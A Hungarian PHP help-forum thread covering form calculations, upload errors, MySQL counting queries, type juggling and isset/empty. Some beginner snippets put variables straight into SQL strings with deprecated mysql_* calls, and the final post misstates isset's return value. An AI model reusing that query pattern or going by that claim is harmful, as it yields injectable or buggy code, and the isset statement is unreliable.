- Aliexpress tapasztalatok
- Ingyenes vagy akciós szoftverek
- Linux - haladóknak
- A személyes adatainkkal, képeinkkel tréningezi az AI-t a Meta
- DIGI kábel TV
- Musk átirányította a Teslának szánt AI-chipeket
- Milyen routert?
- New York visszafogná a közösségi média algoritmusait
- Megpróbálják a spanyolok: megvédenék a gyerekeket a közösségi médiától
- Ezúttal bennfentes kereskedelemmel vádolják Elon Muskot
Új hozzászólás Aktív témák
-
Sk8erPeter
nagyúr
válasz PiXeL90 #12599 üzenetére
Pár tanács:
A functionöket nem egy hatalmas if-be kellene raknod. El kellene kerülnöd a teljesen olvashatatlan kód írását, például az $a, $b, $c, $d, $f, $szv, $sz1 és hasonló, külső olvasó számára teljesen értelmezhetetlen változónevek használatát (ilyenekkel tele van a kódod). Meg a helyesírási hibákat, ha már magyarul kódolsz lásd $oszessen Meg a CSS-kódban a style1, style2, style3, stb. class-ok használatát. HTML-kódnál az #urlap azonosító sem túl kifejező - milyen űrlap? Mire szolgál az az űrlap? Hidd el, sokkal jobban jársz hosszú távon, ha inkább jó hosszú, de értelmezhető neveket adsz mindennek, ami a kódodban van, neked is sokkal jobb lesz hosszú távon, mert később is átlátod a kódodat, meg külső szemlélő számára is valamennyire olvasható marad. Ne vedd magadra, nekem is szóltak és szólnak, ha gányoltam/gányolok.
(Meg javaslat, hogy futtasd át a HTML-kimeneteden a w3c validátorát: http://validator.w3.org/#validate_by_input)
Plusz kapcsold be fejlesztés idejéig a legmagasabb szintű hibajelzést (pl. kódod elejére
error_reporting(E_ALL|E_STRICT);
), és akkor már az elején kiszűrhetsz jópár hibalehetőséget.Azt írtad, az a gáz, hogy a submit1 elnevezésű gombot kétszer kell elküldeni. Nem futtattam le a kódodat, úgyhogy nem tudom, mit kellene csinálnia, de gondolom összegeznie, hogy hány darabot akar rendelni a vevőd a nem tudom micsodából. Mi az oka, hogy a nagy if-en belül a $_SESSION['select2'] változót használod, miért nem a $_POST tömböt? A sok-sok case is elég durva (gondolj bele, mi lenne, ha 1000 darabot lehetne rendelni a termékedből, akkor 1000 db case-t csinálnál?), így aztán már annyira nem volt kedvem kibogarászni, hogy mit csinálsz vele, de ami feltűnt, hogy miért jó, hogy így állítod be a session-változódat:
$_SESSION['select2'] = strip_tags($_POST['select2']);
mire lesz jó neked ez a strip_tags, ha tömbszerűen akarsz végigmenni rajta, azzal a for ciklussal? Sőt, kettő ilyen for ciklusod is van, azt sem értem, minek.Sk8erPeter
-
PiXeL90
csendes tag
válasz Sk8erPeter #12605 üzenetére
Szia!
A változók azért olyanok mert több function függvénybe is ugyanolyan nevü változót használtam és azt hittem azért nem számolja végig és megváltoztattam, hogy kipróbáljam de így se lett jó de már nem változtattam meg utána.
A switch függvényt kerekítésre használtam egyszer cm majd pénz kerekítésre.
A for ciklus-ok azért kellenek mert 2 form van amit ugyanúgy kell listáznia.Azért köszi a segítséget!
-
PiXeL90
csendes tag
válasz Sk8erPeter #12609 üzenetére
Nem csak elmeséltem, hogy miért abc betűi a változók a strip_tags-et csak véletlenül hagytam benne az lehet, hogy amiatt nem müködik a számolás?
-
fordfairlane
veterán
-
weiss
addikt
Sziasztok, nem tudom, hogy ez PHP vagy inkább Apache kérdés-e, de azért felteszem. Szeretnék egy adatbázisba fájlokat feltölteni, és a kód már készen is van,működnie is kellene, de ilyen hibát kapok:
Warning: fopen(): open_basedir restriction in effect. File(/tmp/phpvGDBko) is not within the allowed path(s): (/var/www/users/weiss/) in /var/www/users/weiss/************* on line 20 Warning: fopen(/tmp/phpvGDBko): failed to open stream: Operation not permitted in /var/www/users/weiss/************** on line 20 Warning: fread() expects parameter 1 to be resource, boolean given in /var/www/users/weiss/*************** on line 21 Warning: fclose() expects parameter 1 to be resource, boolean given in /var/www/users/weiss/********************* on line 23 /tmp/phpvGDBko
Állítólag ez azért van, mert a TMP-be nincs hozzáférésem, ami igaz is. Be lehet ezt valahogy állítani, hogy én határozzam meg a TMP könyvtárat. A fő gond az, hogy ez egy egyetemi cucc, csak FTP meg PHPmyadmin hozzáférésem van. Adminok nem igazán segítőkészek.
upload_tmp_dir no value no value
[ Szerkesztve ]
I did nothing, the pavement was his enemy!
-
Lacces
őstag
válasz fordfairlane #12613 üzenetére
Inkább a rövid verziót írom le.
Igazatok van, művelet előtt be castolni jobb, lehet látni az értéket.
Elő validálás kell, de nem biztos, hogy tud valaki olyan hejde szuper módon validálni.
Bár én ettől függetlenül használni fogom, ha mégegyszer olyan a szitu . Egészségemre.
-
Lacces
őstag
Weiss, nem látjuk a kódot!
Esetleg ez alapján találsz valami megoldást... Ez a realpath() talán segít.
Bár én nem tom, találtam olyan leírást is ahol valaki azt írta, hogy httpd.conf-os beállítás kellett...
Ezzel kerestem a guglin[ Szerkesztve ]
-
weiss
addikt
válasz Lacces #12617 üzenetére
Nem raktam kódot, mert elég egyszerű, de pótolom. Itt az érdemi rész, ezen hasal el:
$fp = fopen($tmpName, 'r');
$content = fread($fp, $fileSize);
$content = addslashes($content);
fclose($fp);A httpd.conf-fal meg csak az a baj, hogy tudtommal restartolni kell hozzá az apacsot, ami nálam nem járható.
I did nothing, the pavement was his enemy!
-
DeltaPower
őstag
Próbáld meg először move_uploaded_file()-al átmozgatni egy általad írható könyvtárba, aztán jöhet az fopen. Ha így is open_basedir-be futsz, akkor rendszergarázdák zaklatása a következő lépés.
"Moonshine Whiskey (70°, ízesítés nélküli) van. Fincsi" - Teebee - "De az kiírtaná az egész családomat..Akkor is ha csak én innék belőle.." - forintuser
-
weiss
addikt
Meglepetésemre időközben az admin beállította a hozzáférést, úgyhogy nem kell trükközni. Kössz a segítséget!
I did nothing, the pavement was his enemy!
-
Soak
veterán
Azért ez tetszett : http://ideone.com/kaImZ6
-
Sk8erPeter
nagyúr
3 egyenlőségjel használata esetén nem fogja kiírni.
Bővebben:
http://php.net/manual/en/language.operators.comparison.php
If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value.
<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
switch ("a") {
case 0:
echo "0";
break;
case "a": // never reached because "a" is already matched with 0
echo "a";
break;
}[ Szerkesztve ]
Sk8erPeter
-
Soak
veterán
válasz Sk8erPeter #12623 üzenetére
Tudom, azt is tudom mi okozza, de attól még érdekes
-
PiXeL90
csendes tag
Sziasztok!
Kipróbáltam egy egyszerűbb kóddal de ugyan azt a műveletet de sajnos ígysem jó!
A kód itt található meg a 2 eredményt magátol számolja de az utolsót(a kivonást) azt nem jól számolja az összeadás eredményét 0-nak veszi.
A kérdés az, hogy hogy lehetne megoldani, hogy jó legyen?
Segítségeteket előre is köszi![ Szerkesztve ]
-
fordfairlane
veterán
válasz PiXeL90 #12626 üzenetére
Mert nem az összeadás eredményét használod a kivonásnál. Az összeadás értéke beíródik egy input mezőbe, amit megkap a böngésző, de addig nem csinál vele semmit, míg megint nem nyomsz egy submitet. A következő submitnál érkezik meg a $_POST['osszeadas_eredmeny'] nevű paraméterben.
[ Szerkesztve ]
x gon' give it to ya
-
PiXeL90
csendes tag
válasz fordfairlane #12627 üzenetére
Igen, ezt értem arra gondoltam, hogy lehetne úgy hogy egy változóba elmentem az egész műveletet persze ebbe mindent kicserélek arra a változóra amire kell majd azt a változót amibe elmentettem az egész műveletet belerakom a value értékhez.
-
fordfairlane
veterán
válasz PiXeL90 #12629 üzenetére
Van egy összeadásod és egy kivonásod, ami az előtte levő összeadásod eredményét használja fel. Először elvégzed az összeadást, letárolod egy változóba, majd kivonásánál ebben a változóban levő értéket használod fel. A változók pont ezért vannak.
$osszeadas_eredmeny = osszead( $parameter1, $parameter2 );
...
echo $osszeadas_eredmeny;
...
echo kivonas( $parameter3, $osszeadas eredmeny );x gon' give it to ya
-
PiXeL90
csendes tag
válasz fordfairlane #12630 üzenetére
Nagyon szépen köszönöm!
Müködik! -
MODERÁTOR
Sziasztok!
Van egy objektumom, amivel "a nem létező" metódusokat elkapom a __call mágikus metódus segítségével. Hogyan tudnám ezt átpasszolni egy másik objektumnak?
Gondolok itt erre:
public function __call($name, $arguments)
{
$this->object->__call ????????
}Köszi!
mobal,
"Ott szimatol a sarkadban vasfogait csattogtatva, minden egyes hétköznapod: kirúzsozott medvecsapda."
-
MODERÁTOR
válasz Sk8erPeter #12633 üzenetére
Nem. "Call to undefined method" hibaüzenetet kapok. Lehet viszont, hogy más lesz a gond.
"Ott szimatol a sarkadban vasfogait csattogtatva, minden egyes hétköznapod: kirúzsozott medvecsapda."
-
-
MODERÁTOR
válasz Peter Kiss #12637 üzenetére
Erre egy szép scream-mel válaszol a php. Holnap lövök pontos infókat róla.
"Ott szimatol a sarkadban vasfogait csattogtatva, minden egyes hétköznapod: kirúzsozott medvecsapda."
-
veterán
Egy kérdés: az fwrite függvény mennyire erőforrás igényes? Mondjuk 50-100mb-nyi string esetén..? Meg általánosságban a fájlba írás mennyire terheli a szervert?
-
cucka
addikt
Erre milyen számszerű választ vársz? Vagy milyen alternatívára gondolsz? A file-okon kívül milyen más módon tudsz akármilyen adatot tárolni egy szerveren?
Az egy értelmes kérdés lenne, hogy a nagy mennyiségű adatot milyen módon tárold (sima file, sql, nosql), vagy hogy hogyan oldd meg, hogy ne kelljen 50-100 mb adatot a memóriában tárolni ahhoz, hogy kiírd.
Amit kérdeztél, az kb. olyan, mint ha megkérdeznéd, hogy a http protokoll megfelelő-e weboldalak kiszolgálásához.[ Szerkesztve ]
-
Dave-11
tag
Fúh tudom hogy megőrítelek titeket ezzel, meg hogy már nem tudom hanyadjára kérdezem, de muszáj vagyok megint. Karakterkódolás
Szóval: van nekem egy WAMP Server telepítve (Win7-es 64bites oprendszerre) az itthoni gépemre. Létrehozok benne egy adatbázist, és a bemenő kimenő adatok karaktereit egyszerűen nem bírja megjeleníteni.
1. Van egy .php fájl, a fájl legelején csatlakozik az adatbázishoz, aztán van egy header("Content-Type: text/html; charset=utf-8"); rész, illetve a <head> részben van még egy <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> , a dokumentumot pedig UTF-8 BOM nélkül mentem. Egy egyszerű ürlap van benne, beírom mondjuk a név mezőbe hogy Dávid, és a MySQL táblában már ezt látom: Dávid . Egyébként az adatbázis illesztése utf8_general_ci.
2. Létrehozok egy új adatbázist, utf8_general_ci, és mikor ott a phpmyadminban szúrok be adatot, nem neged ő és ű betűt az alábbi hibával: Warning: #1366 Incorrect string value...
:D Semmi :D
-
Dave-11
tag
válasz Dave-11 #12643 üzenetére
Úh ezer bocsánat, közben pár kérdésre megtaláltam a választ, de ha mégis lenne valami tanácsotok ahhoz amit leírtam, akkor kérlek írjatok
Viszont az még továbbra is fennáll egy dolog: mikor adatot viszek fel az adatbázisba, ott ugyan fura karakterekkel jelenik meg, de mikor egy lekérdezéssel kiíratom őket egy php dokumentumban, ott normálisan jelenik meg. Ez baj kéne hogy legyen? Nektek is így van, vagy nektek normálisan megjeleníti az adatbázisban?:D Semmi :D
-
Dave-11
tag
válasz Tele von Zsinór #12645 üzenetére
Hú hát azt hol tudom beállítani? Az biztos hogy itt phpmyadminban minden adatbázis és tábla illesztése utf8_general_ci, én csak ennyit állítottam.
:D Semmi :D
-
#68216320
törölt tag
Urak, egy gyors kérdés.
Már nem emlékszem milyen függvénnyel tudtam megoldani, hogy tömbelemek felsorolásakor (foreach) az elemek közé be tudjak szúrni egy elválasztó tagot. Sem elé, sem mögé.
Mysql kéréshez érkeznek $_POST[] tömbben szűkítések és közéjük kellene AND tag.Tele von Zsinór:
erre gondoltál?
$mysqli->query("SET NAMES 'utf8'");[ Szerkesztve ]
-
#68216320
törölt tag
válasz DeltaPower #12648 üzenetére
Igen, ez az. Rég csináltam, köszönöm;
-
Fenris69
csendes tag
Sziasztok!
Egy kicsit megakadtam az egyik parancssorba és kérnék egy kis segítséget, ha lehetséges
A feladatom a következő, adott egy sql adatbázis: (id/fnev/ip/nap), és ebből nekem szükségem lenne arra, hogy a nap(dátum) oszlopból, a 1 dátum hányszor szerepel.
Ezek előtt beíratunk 1 dátumot, amire ugye kíváncsiak leszünk, az az, hogy ez a nap hányszor szerepel ($datum). Ennek a napnak az előfordulási számát szeretném betenni egy változóba ($fsz).A kód amivel próbálkoztam:
$parancs = "SELECT * FROM talalkozo WHERE nap = '$datum'";
$valasz = mysql_query($parancs);
$sor = mysql_fetch_array($valasz);$sql = "SELECT nap, AS [fsz] FROM `talalkozo` GROUP BY nap";
$sql1 = mysql_query ($sql);
$sql2 = mysql_fetch_array($sql1);
$fsz = $sql2[fsz];Ha valaki tudna ebben nekem segíteni, annak nagyon örülnék és megköszönném.
-
Fenris69
csendes tag
válasz j0k3r! #12652 üzenetére
Szia j0k3r!
Köszönöm szépen a segítséget, jutottam előrébb a folyamatban, azonban még valami nem teljesen tiszta.
Sikerült leegyszerűsíteni. Kétféleképpen próbálkoztam 1: most már ki is ír "valamit", de sajnos ez az érték egy E betű és nem a darabszám, amire kíváncsi vagyok.A kód
$parancs = "SELECT COUNT(nap) FROM `talalkozo` GROUP BY nap HAVING nap = '$datum'";
$fsz =$parancs[COUNT(nap)];2: Itt hasonló, mint eddig, nincs visszakapott érték.
A kód:
$parancs = "SELECT COUNT(nap) FROM `talalkozo` GROUP BY nap HAVING nap = '$datum'";
$valasz = mysql_query($parancs);
$sor = mysql_fetch_array($valasz);$fsz =$sor[COUNT(nap)];
-
-
#68216320
törölt tag
válasz Fenris69 #12653 üzenetére
Én a következő módon csinálnám, bár jelzem, hogy mysql-nél alias-t szoktam használni:
$parancs = "SELECT COUNT(nap) AS num FROM `talalkozo` GROUP BY nap HAVING nap = '$datum'";
$valasz = mysql_query($parancs);
$sor = mysql_fetch_array($valasz);
$fsz =$sor['num'];A COUNT(nap) AS num visszaadja a megfelelő rekordok számát num alatt. Ezt pedig tömbösítés után (mysql_fetch_array($valasz)) a $sor['num'] alatt kiolvashatod.
Csak egy ötlet.
-
#68216320
törölt tag
Van PHP-ban olyan string függvény, ami két tag közötti részt cseréli másra?
PL.
start> blablabla end>
start> valami text end>Szeretném, ha a start> és end> közötti részeket lecserélné.
Csak explode-al való ügyeskedés jut eszembe, de ha volna valami más ... -
-
#68216320
törölt tag
válasz Peter Kiss #12658 üzenetére
Ezzel nem pont a nyitó, záró tagokat cserélem le? Elképzelhető, h rosszul értelmezem, de nekem úgy tűnik, hogy gyakorlatilag az str_replace-hez hasonló.
Egészen pontosan azt kellene megoldanom, hogy egy változó mysql query-t kellene átalakítanom.
pl. erről:
SELECT id, tag1, tag2, inf FROM adatok
erre:
SELECT COUNT(id) FROM adatokA SELECT és FROM közti rész változatos, de mindig COUNT(id) menne a helyére.
[ Szerkesztve ]
-
-
#68216320
törölt tag
válasz Peter Kiss #12660 üzenetére
Megpróbálom. utf8 nem kavarhat be szerinted?
-
-
#68216320
törölt tag
válasz Peter Kiss #12662 üzenetére
Köszönöm. Viszont kiderült, hogy a reguláris kifejezésekre vonatkozó ismereteim hiányosak. Keresek tutorial-t, de ha van amit ajánlanál, akkor azt megköszönném. Már emlékszem, hogy JS alatt is szívtam ilyesmivel, de akkor valahogy megoldottam, most viszont utánajárnék rendesen.
-
biker
nagyúr
Lehet, csak nekem érdekesség, újdonság, de most lehidaltam
az ok, hogy a 0, NULL, "" az nehezen összehasonlítható, mert ha ==0 akkor igaz definiálatlan változó és $var="" esetén is, de...
Figyelem egy változó értékét, ami ha nem - akkor felírja a kasszába az értéket
if ($jegy_tomb['berlet_ara'] != "-")
Azért, mert lehet ingyen jegy is, aminek ára "-"Ok, de van kedvezmény. ha 100% kedvezményt adok, akkor 0 Ft lesz, ergó $jegy_tomb['berlet_ara'] értéke 0 lesz, és az IF szerint ez megegyezik - vel és nem ír fel a kasszába 0Ft (100% kedvezmény) sort, mintha ingyen jegy lenne
Ez normális, hogy a 0 az - -al is egyenlő?
Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
Igen, PHP estében teljesen normális.
Ami szerintem nem normális, hogy azonos tulajdonságot két különböző típussal akarsz leírni, illetve ezeket a típusokat össze is hasonlítod. Sokkal ésszerűbb, ha az üzleti logikádba nem kevered bele ezt a '-' dolgot, ezt elég csak a UI oldalon mutatni (ott a 0 [talán] hülyén néz ki).
-
#68216320
törölt tag
válasz Tele von Zsinór #12664 üzenetére
Egy admin felületen listázok szűkítésekkel, rendezésekkel. Viszont lapozhatóra szeretném megcsinálni a listát. Egy univerzális függvényt szeretnék készíteni, ami több listát is tud lapozni.
Az átalakított sql query megmondta volna, hogy összesen mennyi találat van így az egy oldalra listázható elemek számával osztva megkaptam volna az oldalak számát.
Viszont az univerzalitás ugrott, mivel a listákban a WHERE-t bent kell hagynom a pontos darabszám miatt, viszont több táblából munkálkodó lekérésről beszélünk, ahol a tábláknak alias-ok vannak megadva. Így a COUNT(id) nem mindig megfelelő, időnként alias kerül az `id` elé.
Inkább olyan függvényt írtam, ami kap egy paramétert és ez alapján saját kérést állít össze a lapozó működéséhez.Nem tudom mennyire volt érthető. De én is úgy láttam, hogy a kérésben nem érdemes ügyeskedni. Felesleges hibaforrás.
Viszont a reguláris megoldás érdekel. Tanulnivaló csak nehezen értelmezhető még számomra.
-
rezme
tag
Sziasztok!
Van egy weboldalam amit hamarosan elindítanék, de egy hete a semmiből egy plusz sávban(ami eddig nem is volt ott) ezt a hibaüzenetet kapom:
404 Not Found
nginx/0.6.32És az a vicc hogy 5 oldalbetöltésből 3x adja be, amúgy meg hiba nélkül tölti be az oldalt. Ez mitől lehet, mi lehet ennek az oka?
Értékeléseim: 1. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_3/keres.php?stext=rezme&submit= 2. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_4/keres.php?stext=rezme&submit=
-
-
rezme
tag
válasz Peter Kiss #12672 üzenetére
Mire van még szükségetek, milyen információra?
Értékeléseim: 1. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_3/keres.php?stext=rezme&submit= 2. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_4/keres.php?stext=rezme&submit=
-
rezme
tag
Erről az oldalról lenne szó:
http://techport.hu/
ha nem látjátok a hibaüzenetet, akkor frissítsetek rá 1x 2x és meg fog
érthetetlen[ Szerkesztve ]
Értékeléseim: 1. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_3/keres.php?stext=rezme&submit= 2. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_4/keres.php?stext=rezme&submit=
-
Hiányzik:
line_shadow.png
/wp-content/themes/hades/imagesChrome console kimenet:
Viewport argument value "device-width;" for key "width" not recognized. Content ignored. Note that ';' is not a separator in viewport values. The list should be comma-separated. /:36
Viewport argument value "1.0;" for key "initial-scale" was truncated to its numeric prefix. Note that ';' is not a separator in viewport values. The list should be comma-separated. /:36
Viewport argument value "1.0;" for key "maximum-scale" was truncated to its numeric prefix. Note that ';' is not a separator in viewport values. The list should be comma-separated. /:36
Viewport argument value "0;" for key "user-scalable" was truncated to its numeric prefix. Note that ';' is not a separator in viewport values. The list should be comma-separated. /:36
Resource interpreted as Script but transferred with MIME type text/html: "about:blank". techport.hu:47
Uncaught ReferenceError: TWTR is not defined techport.hu:478
GET http://techport.hu/wp-content/themes/hades/images/line_shadow.png 404 (Not Found) techport.hu:120És ez PHP topik.
-
rezme
tag
Posztok csak töltelékposztok még nem éles az oldal
Értékeléseim: 1. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_3/keres.php?stext=rezme&submit= 2. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_4/keres.php?stext=rezme&submit=
-
rezme
tag
válasz Peter Kiss #12677 üzenetére
Melyik topicban kérdezhetek akkor ilyen témában akkor? Köszönöm a segítséget de sajna nem ez a probléma:S
Értékeléseim: 1. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_3/keres.php?stext=rezme&submit= 2. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_4/keres.php?stext=rezme&submit=
-
rezme
tag
Egy átalakított témát használok.
üdv!Értékeléseim: 1. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_3/keres.php?stext=rezme&submit= 2. http://mobilarena.hu/tema/kivel_erdemes_uzletelni_topic_4/keres.php?stext=rezme&submit=
-
biker
nagyúr
válasz Peter Kiss #12668 üzenetére
Hát igen. De azt tiltom hogy 0ft termék kerüljön be, ezért a - jel
De ezek szerint 0=-=""=NULL
Fuckn phpElektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
#68216320
törölt tag
A PHP automatikus konverziót végez. Ha numerikusként értelmezel egy string-et, mert mondjuk matematikai műveletben vesz részt, akkor:
"-" = 0
"" = 0
"hello" = 0
"10 doboz sör" = 10Erre azért van szükség, mert pl. FORM-ból a HTML-től csak string érkezhet, mivel ilyen beviteli mező van csak.
-
-
#68216320
törölt tag
válasz Peter Kiss #12686 üzenetére
Melyik nem klappol, csak h tudjam
Update: Értem, köszi. Csak egy példa volt, hogy miért is jó a konverzió. Egyszer valakinek így indokoltam és úgy látszik bevésődött.
[ Szerkesztve ]
-
-
Sk8erPeter
nagyúr
válasz #68216320 #12687 üzenetére
Nem értem a magyarázatodat, hogy attól még miért lenne "jó" az automatikus konverzió pl. egy összehasonlításnál... Még csak logikai összefüggés sincs a két dolog között. Pl. begépelte a felhasználód, hogy "pista", te meg szerveroldalon összehasonlítod azzal, hogy 0-e a mező: if("pista" == 0){ // akkor lesz valami, ha 0 az érték, márpedig nem az }. Akkor ez ilyen értelemben miért is "jó"?
Sk8erPeter
-
#68216320
törölt tag
válasz Sk8erPeter #12689 üzenetére
Mert kényelmes. Dolgoztál már C-vel?
if("pista" == 0){ // akkor lesz valami, ha 0 az érték, márpedig nem az }.
helyett
if("pista" === 0){ // akkor lesz valami, ha 0 }.
Ez megoldja a problémát. Nekem rengeteg időt spórol meg az automatikus konverzió.
Például, ha tudni akarom van-e értéke egy form mezőnek if( $_POST['valami'] ){} mert itt éppen logikailag értékeli. Miért ne lenne jó a konverzió?Azt még gondold végig, hogy hogyan tudna numerikus 0-t küldeni egy űrlap. Sehogy. Textként megy és neked kellene kiszedni belőle a numerikus értéket, mint ahogy C-ben van. A PHP lazán kiszedi a string elejéről.
[ Szerkesztve ]
-
Sk8erPeter
nagyúr
válasz #68216320 #12690 üzenetére
Dolgoztam már C-vel, de ez hogy jön ide? Sehogy. A két nyelv összehasonlításának nincs is igazán értelme. Eleve más az alapvető céljuk. Ezenkívül ha már összevetjük, a C nyelv eleve jóval szigorúbb, mint a PHP, sajnos (szerencsére?) a PHP olyan nyelv, aminek segítségével kezdők is nagyon gyorsan és egész egyszerűen össze tudnak tákolni-gányolni funkcionálisan "működő", de attól még akár hibákkal telerakott kódot is (aztán legfeljebb a hibajelzéseket elnyomják, és meg is van minden oldva...).
Egyébként attól még, mert valami kényelmes, önmagában nem biztos, hogy jó is. Pl. ha a kódodban az a "kérdés", hogy a "pista" egyenlő-e a 0-val (== használata esetén), akkor nem biztos, hogy jó, ha a válasz "igen" (mert egyébként nem egyenlők). Az üres stringre ("") még OK, de így nem, ezzel persze neked nem kell egyetérteni (meg amúgy is, ez van, ezt kell szeretni).
A magyarázatot meg köszi, nem kérem, mert én is ezt magyaráztam itt."Például, ha tudni akarom van-e értéke egy form mezőnek if( $_POST['valami'] ){}"
Hát ez elég rossz példa volt, mert ha így csinálod, akkor rosszul csinálod. Először is nem biztos, hogy be van állítva az adott kulcs a $_POST tömbben az űrlap elküldésekor, elég csak a radio buttonökre vagy a checkboxokra gondolni. Először azt kell ellenőrizni, hogy egyáltalán létezik-e a tömb adott kulcsa (isset($_POST['valami'])), aztán lehet ellenőrizni, nem egyenlő-e egy üres stringgel, ha már az értékét akarod majd vizsgálgatni, de ekkor már lehet azt a módszert is használni, ha nagyon akarod, amit használtál, bár ez így szerintem nem teszi egzakttá, jól olvashatóvá a kódot. Esetleg az isset()-et és az üres stringre való csekkolást lehet egy empty()-vel helyettesíteni ( if( !empty($_POST['valami']) ) { // van bepötyögött érték } ). Persze ha szereted szívatni magadat, kikapcsolhatod a notice-ok kijelzését még a fejlesztés idejére is."Azt még gondold végig, hogy hogyan tudna numerikus 0-t küldeni egy űrlap. Sehogy. Textként megy és neked kellene kiszedni belőle a numerikus értéket, mint ahogy C-ben van. A PHP lazán kiszedi a string elejéről."
Ja, hogy szerinted az egyetlen összehasonlítási alap az lehet, hogy valaminek az értéke űrlapból (a $_POST tömbből) jön....?
És szerinted annak is örülni kell, és sokkal jobb, hogy ha írsz egy olyat, hogy
echo '10xyz'+10;
vagy azt, hogy
echo array_sum(array('10xyz', 10));
akkor mindkét esetben kijön az, hogy 20?
Akkor azt hiszem, te megtaláltad a magad számára tökéletes nyelvet, amiben szabadon lehet gányolni.Ezeket azért "még gondold végig"...
Sk8erPeter
-
#68216320
törölt tag
válasz Sk8erPeter #12691 üzenetére
Gondolom feltétlenül cinikus módon kellett kommunikálnod. Örülök hogy igazi vérprofi vagy. Én még nem. tudod, inkább ne segíts nekem, ha csak ilyen módon sikerül.
-
Sk8erPeter
nagyúr
válasz #68216320 #12692 üzenetére
Hogy mi? Szerintem te voltál itt kioktató, azt éreztetted, hogy márpedig te jobban tudod, elmagyaráztad, hogy miért is marhaság, amit én írtam, visszakérdeztél, hogy "dolgoztál már C-vel?", ugyan "miért ne lenne jó?", és leírtad, hogy "azt még gondold végig". Ezután hozzád hasonlóan én is kifejtettem a véleményem arról, amit írtál. De bántás nem volt benne (cinizmus valóban, de nem a sértés feltett szándékával). De várj, hol volt a hozzászólásodban segítségkérés? Mert én azt nem láttam benne, hanem sajnos csak pont, hogy kioktatást.
[ Szerkesztve ]
Sk8erPeter
-
#68216320
törölt tag
Most komolyan, tényleg itt tartunk? Hol voltam kioktató? Te itt kérdezted, hogy miért is jó. Erre válaszoltam. Valóban meg mertem kérdezni, hogy dolgoztál-e már C-ben, mert akkor tudod milyen, mikor folyton neked kell átalakítani string-numeric között. A miért ne lenne jó pedig úgy vélem szubjektív. Nekem megfelelhet és lehet kényelmes attól, hogy neked nem az. De szerintem maradjunk meg annyiban, hogy te a saját szakmai ismereteddel nem látod jónak, én pedig az enyémmel igen. De mindegy is, mert ez van. Nem szeretném ezt a felesleges vitát folytatni. A cinizmus nem tetszett, lehetett volna másképp. Viszont a szempontjaid elgondolkodtatnak.
Ha viszont hajlandó vagy segíteni, akkor elmondhatnád miért nem jó, ha közvetlen if( $_POST[valami] ) módon vizsgálom egy űrlapmező kitöltését. Ha mondjuk e checkbox-ot nem jelöl akkor tudom, hogy nem lesz a megfelelő kulcs, de vizsgálatkor még sohasem kaptam hibaüzenetet. Sem saját gépen, sem tárhelyen a log fájlt vizsgálva. Van valami konkrét veszélye ennek? (Nagyon sok helyen használtam, mert egy forrásban láttam)
-
Sk8erPeter
nagyúr
válasz #68216320 #12694 üzenetére
"miért nem jó, ha közvetlen if( $_POST[valami] ) módon vizsgálom egy űrlapmező kitöltését"
Azért nem jó, mert ha nincs beállítva a $_POST tömbben a "valami" kulcs, akkor a szigorúbb hibajelzés (pl. error_reporting(E_ALL | E_STRICT); ) bekapcsolása esetén kapsz egy notice-t:
"Notice: Undefined index: valami in ...../FAJLOD.php on line XYZ"
azért fontos ezekre figyelni, mert a későbbiekben problémád származhat belőlük, ezért érdemes eleve úgy tervezni a kódot, hogy legyen alternatíva, ha már eleve a kulcs sincs beállítva. Tehát először ellenőrzöd, megvan-e egyáltalán a kulcs, ha nincs, akkor nem is foglalkozol tovább a potenciális értékeivel.
Közvetlen "veszélye" a notice-on kívül nincs a dolognak, inkább csak rejtett hibaforrás lehet rosszabb esetben, ezért érdemes rá eleve felkészülni: nem sokkal növeli a kódbázis méretét, viszont legalább elkerülsz egy apró hibalehetőséget.Sk8erPeter
-
#68216320
törölt tag
válasz Sk8erPeter #12695 üzenetére
Teljesen világos, köszi. Amúgy belegondolva logikailag is hibás lépés lenne vizsgálni valami értékét, ami nincs.
php.ini-ben lehet beállítani valahol alapértelmezettként az error_reporting-et?
Illetve emlitetted az if( ! empty( $_POST['valami'] ) )-t. Inkább ez vagy az isset() ? -
cucka
addikt
válasz #68216320 #12696 üzenetére
Hogy világos legyen az empty és az isset közötti különbség:
A következő két feltétel ekvivalens, leszámítva egy notice-t:
isset($v)
$v !== null
Tehát az isset true-val fog visszatérni bármilyen változóra, ami nem létezik, vagy létezik és a típusa/értéke null. Jól látható, hogy a neve ellenére az isset()-nek valójában semmi köze ahhoz, hogy egy változó (vagy tömb index) definiált-e vagy sem. (Ennek eldöntésére a get_defined_vars() való).
Az isset() abban az esetben működik biztonságosan, ha soha, semmilyen körülmények között nem használod a null értéket egyetlen változódnál sem. Felhasználó által post-olt űrlapok esetén ez alapból adott, mert minden értéked a tömbben string vagy array típusú, a kód többi részében viszont a te feladatod ezt biztosítani.És a következő két sor szintén ekvivalens
empty($v)
!isset($v) || $v != true
